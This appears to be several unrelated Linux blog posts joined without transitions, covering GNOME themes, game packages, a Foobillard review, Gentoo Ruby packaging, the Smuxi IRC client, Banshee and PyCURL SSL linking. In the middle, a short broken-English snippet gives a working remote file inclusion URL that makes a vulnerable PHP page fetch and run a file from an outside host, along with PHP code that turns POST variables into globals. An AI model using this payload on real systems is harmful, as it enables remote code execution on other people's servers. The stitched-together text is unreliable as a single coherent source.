If you change the appareance of your GNOME desktop, Debian provides two packages : gnome-themes and gnome-themes-extras
To install them :

root@localhost:~# apt-get install gnome-themes gnome-themes-extras

To choose one of the available themes :

fool@localhost:~$ /usr/bin/gnome-appearance-properties &

Here is what you should have :

To install other GNOME themes, please visit : http://gnome-look.org/
On this website, you can find plenty of wallpapers, icons, GTK2.x Themes/Styles. If you want to have a new full GNOME theme, just choose GTK2.x Themes/Styles : http://gnome-look.org/?xcontentmode=100

To install some of them, download your new theme archive and then install it by clicking on the button “Install…” as shown in the picture above. The installation is automatic and the new theme is available right away.

Updated and added few games last few days in Foresight Linux.

Here is a brief:

Pingus

Site: http://pingus.seul.org/

Pingus is a free Lemmings-like game.

Install, open terminal:

sudo conary update pingus=gameway.rpath.org@fl:2

Ri-Li

Site: http://ri-li.sourceforge.net/

You drive a toy wood engine in many levels and you must collect all the coaches to win.

sudo conary update ri-li=gameway.rpath.org@fl:2

Warzone 2100

Site: http://wz2100.net/

you command the forces of The Project in a battle to rebuild the world after mankind has almost been destroyed by nuclear missiles.

The game offers campaign, multi-player, and single-player skirmish modes.

sudo conary update warzone2100=gameway.rpath.org@fl:2

Had a night out with friends, the plan was to watch a lot of movies but ended up playing this awesome game from 3am until morning. And the amazing part - all of us had hardly ever played any cue games before. I never realized that a non-arcade game like this could keep me awake all night .

My whole experience with the game might look a bit false based upon the fact that I haven't played such games in real-life much, but listen to this, "Foobillard was actually suggested to me by a college friend who is a die hard fan of cue sports and a good player too". So, if a real-life player is recommending it, you have got to give it a shot.

For the introduction part, Foobillard is free and opensource, cross-platform, OpenGL based game and the best part is that it was originally built for Linux and later ported to MacOS and Windows. The games that can be played in Foobillard are - Carambol, Snooker, Pool (8 ball and 9 ball). It can also be played over network, making it a complete multiplayer game.

Probably a little bad thing about the game is that it directly throws you in a game - no menu, no key bindings help, no game options etc. Although, it sucks only the first few times. Once you know stuff, it doesn't look like a bad thing anymore.

If you are planning to try it out, which you should do, I would suggest you to go through the key bindings first. It won't take you much time to figure out the basic controls, but to have a better gaming experience, do learn all the controls.

Install Foobillard

Ubuntu/Debian users, either click this link or run the following command to install foobillard

[shredder12]$ sudo aptitude install foobillard

For Fedora users, run the following command in the terminal

[shredder12]$ yum install foobillard

So, now go on and start playing .

In my previous post where I declared myself up for hiring by those who really really want Ruby 1.9 sooner than we’re currently planning to release it, I’ve said that the Ruby team doesn’t want to “Pull a Python 3”. I guess that I should explain a bit what I meant just there.

Ruby 1.9 and Python 3 are, conceptually, actually similar: while Python 3 actually make a much wider change in syntax as well as behaviour, both requires explicit, often non-trivial, porting of the software to work. Thus, they both require you to be slotted, installed side-by-side, with the older, more commonly used alternative, and so do the libraries and programs.

There is more similitude between the way the two are handled than you’d expect, mostly because the Python support for that has been partly copied out of Ruby NG stripped of a few features. These features are, for the most part, what I’d say protect us from pulling a Python 3.

As it is, installation of Python 3-powered packages is done once Python 3 is installed; and Python 3 is installed, unless explicitly masked, on every system, stable or not, because of the way Portage resolves dependencies. In my case, I don’t care about having it around, so it’s masked on all my systems (minus the tinderbox, for obvious reasons). You cannot decide whether a given package is installed for 2.6, 2.7 or 3.1, and you can only keep around safely one Python for the 2.x series as it will only install for that — which is going to be fun, because 2.7 seem to break so many things.

Ruby packages instead is coordinated through the use of the RUBY_TARGETS variable, that allows us (and you) to choose for which implementation (if supported) install a given package; you can even tweak it package-per-package via package.use! This, actually, makes the maintenance burden quite higher on our side because we have to make sure that all the dependency tree is up-to-date with a given target, on the other hand though it allows us be sure that the packages are available, and it would scream at us if they weren’t (or rather Mr Bones would).

Most importantly, we don’t need no stinkin’ script like python-updater to add or remove an implementation; since the implementations are user-chosen via an USE-expanded variable (RUBY_TARGETS as I said), what you otherwise do with python-updater (or even perl-cleaner) is done through …. emerge -avuDN world.

Even though, I’ll admit, there is one thing that at least python-updater seems to take into consideration and that for now we can’t cater: using the Ruby interpreter rather than binding a library to be usable via Ruby; as I said in the post I linked above, it’s one of the few cases that needs to be kinked out still before it can be unmasked. Again you can either wait or hire somebody to do the dirty job for you.

A note about the “stinkin’ script” notion: one of the reason why I dislike the python-updater approach is that it lists a few “manual” packages to be rebuilt. The reason for that to happen is the old Python bug that caused packages to link the Python interpreter statically. The problem has since been fixed, but the list (which is very limited compared to what the tinderbox found at the time), is still present.

It is not all. I said at the start that right now Python 3 is installed unconditionally by default on all systems; we’re going to do double- and triple-work to make sure that the same won’t happen with Ruby 1.9 until we’re ready to switch the defaults. Switching the defaults will likely take a much longer time; we’re going to make 1.9 stable first, and start stabling packages supporting that… from there on, we’d be considering removing packages that are 1.8-only.

Well, to be honest, we’re going to consider switching some packages that won’t work with 1.9 (or JRuby) and neither have use nor they are maintained upstream. For good or bad, a lot of the packages in the tree have been added by the previous team members, and they, like us, often did so when they had a personal interest in the package… those packages often times are no longer maintained and are dead in the water, but we still carry them around.

Anyway, once again, the road is still bumpy, but it’s not impossible; I’m not sure if we can get to unmasking it before end of the summer as I was hoping to, but we’re definitely on track to provide a good user experience for Gentoo users who develop in Ruby, and most of the time, we can even provide a better upstream experience.

hm.. Arbitrary Code Execution

create malicious code in software like use ldd exploit or malicious function like libc mySQL

execute command on website
example :

http://alko.web.id/example.txt

http://victim.com/vuln.php?path=http%3A%2F%2Falko.web.id%2Fexample.txt%3F

coz

if ($HTTP_POST_VARS) {
foreach ($HTTP_POST_VARS as $var => $value) {
$$var = $value;
}
}

not usually get profit like crash Opera 10.01 almost

Smuxi is an irssi-inspired, flexible, user-friendly and cross-platform IRC client for sophisticated users, targeting the GNOME desktop.

Smuxi is based on the client-server model: The core application (engine) can be placed onto a server which is connected to the Internet around-the-clock; one or more frontends then connect to the core. This way, the connection to IRC can be kept up even when all frontends have been closed. The combination of screen and irssi served as example for this architecture.

Smuxi also supports the regular single application mode. This behaves like a typical IRC client; it doesn’t need separate core management and utilizes a local engine that is used by the local frontend client.

Smuxi currently supports the following features

• Detachable Frontend (frontend can be detached from a smuxi-server)
• Multiple Server Support (you can connect to more than one server)
• Unified Nickname Colors (identical color across channels and networks)
• Caret-Mode (keyboard navigation through messages)
• Regular and Bash-Style Nickname Completion
• Full Keyboard Control
• Startup Commands (when Smuxi starts)
• On Connect Commands (when connecting to a server)
• Message / Command History
• Configurable Encoding (ISO-8859-1/15, UTF-8, etc)
• Configurable Command Character
• Auto Connect (automatically connect to defined servers)
• Quick Connect Dialog (simply connect to any server)
• Open / Join Chat Dialog
• Find Group Chat Dialog
• Sorted and Reoderable Tabs
• Colors are checked and adjusted for optimium contrast
• Clickable URLs
• Word Wrapping
• Logging Support
• Fully customizable filters to ignore messages or events
• Configurable Highlight Words
• Markerlines which divide old messages from new messages
• Themeing Support
  • Configurable Font
  • Foreground / Background Color
  • Userlist Position
  • Tab Colors / Position
  • Configurable Timestamps
  • Configurable Tray-Icon Support
• Translations
  • British English
  • Czech
  • Catalan (patial)
  • Danish
  • Finnish (patial)
  • French
  • German
  • Italian
  • Portuguese
  • Spanish (patial)
  • Swedish
• Multiple Network Protocols
  • IRC Support
    • Stripping Colors and/or Formattings from Messages
    • Showing mIRC Colors
    • Splitting oversized messages
    • Channel List / Search
    • CTCP Support including a Menu
    • Invite To Menu
    • Lag Indicator
  • Twitter Support
    • Reading and Posting Tweets
    • Friends Timeline
    • Replies
    • Direct Messages

Themeing & UI

Love the way it handles tabs and userlist. First of all, userlist can show on left side or right side. Tabs can be showed at upper, bottom, right and left side. My pic above has tabs at left side. Colors and fonts are changeable too. background images and tab colours are changeable.

Download

To download Smuxi for Arch, Foresight, Debian, OpenSuse, Gentoo, FreeBSD… Go to: http://www.smuxi.org/page/Download

Front-end old-style terminal interface, for web services like those provided by Google and Yahoo.

- Enter green commands without parameters to change default mode.
- Anything that’s not a command will search in current default mode.
- Aliases will expand to commands. Numbers will expand to corresponding search results.
- Use cursor up and down for command history.
- Enter keyword and hit the tab-key for tab-completion.
- Commands marked with * are experimental, use them with care and please report any bugs.

Site: http://goosh.org

Project site: http://code.google.com/p/goosh/

Today, we start to build Banshee from Git instead of tarballs. To make sure we always got a working Banshee, thats based on latest version.

Latest Banshee (1.7.3) was released with an issue that made some packagers to either remove gnome-doc-utils or using a patch to current 1.7.3 release.

So from now on, Foresight Linux will ship Banshee built from Git instead. This doesn’t mean we will update it to make it unstable, we will still make sure its stable enough to have in Foresight. As we specify from what Git commit we will build from.

Also read little from creator and developer for Banshee: http://abock.org/2010/07/22/tarballs-why

I can be quite difficult to read for what concerns alternative approaches to the same problem; while I find software diversity to be an integral part of the Free Software ideal and very helpful to find the best approach to various situations, I also am not keen on maintaining the same code many time because of that, and I’d rather have projects to share the same code to do the same task. This is why I think using FFmpeg for almost all the multimedia projects in the Free Software world is a perfectly good thing.

Yesterday, while trying to debug (with the irreplaceable help of Jürgen) a problem I was having with Gwibber (which turned out to be an out-of-date ca-certificates tree), I noted one strange thing with pycurl, related to this fact, that proves my point to a point.

CURL can make use of SSL/TLS encryption using one out of three possible libraries: OpenSSL, GnuTLS and Mozilla NSS. The first option is usually avoided by binary distributions because it is incompatible with some licensing terms; the third option is required for instance by the Thunderbird binary package in Gentoo as it is. By default Gentoo uses OpenSSL, that you like it or not.

When CURL is built against OpenSSL (USE="ssl -gnutls -nss"), PyCURL linked to libcrypto; given that my system is built with forced --as-needed, it also means it uses it. I found it quite strange so I went to look at it; if you rebuild CURL (and then PyCURL) with GnuTLS (USE="ssl gnutls -nss") you’ll see that it only links to libgnutls, but if you look closer, it’s using at least one libgcrypt symbol. Finally if you build it with Mozilla NSS (USE="ssl -gnutls nss") then it will warn that it didn’t detect the SSL library used.

The problem here is that CURL seems not to provide a total abstraction of the SSL implementation it uses, and for proper threading support, PyCURL needs to run special code for the crypto-support library (libcrypto for OpenSSL; libgcrypt for GnuTLS). I’m sincerely not sure how big the problem would be when you mix and match the CURL and PyCURL implementations, I also have no idea what would happen if you were to use CURL with NSS and PyCURL with that (which will not provide locking for crypto at all). What I can tell you, is that if you change the SSL provider in CURL, you’d better rebuild PyCURL, to be on the safe side. And there is currently no way to let Portage do that automatically for you.

And if you are using CURL with NSS and you see Portage asking you to disable it in favour of GnuTLS or OpenSSL, you’ll know why: PyCURL is likely to be your answer. At least once the bug will be addressed.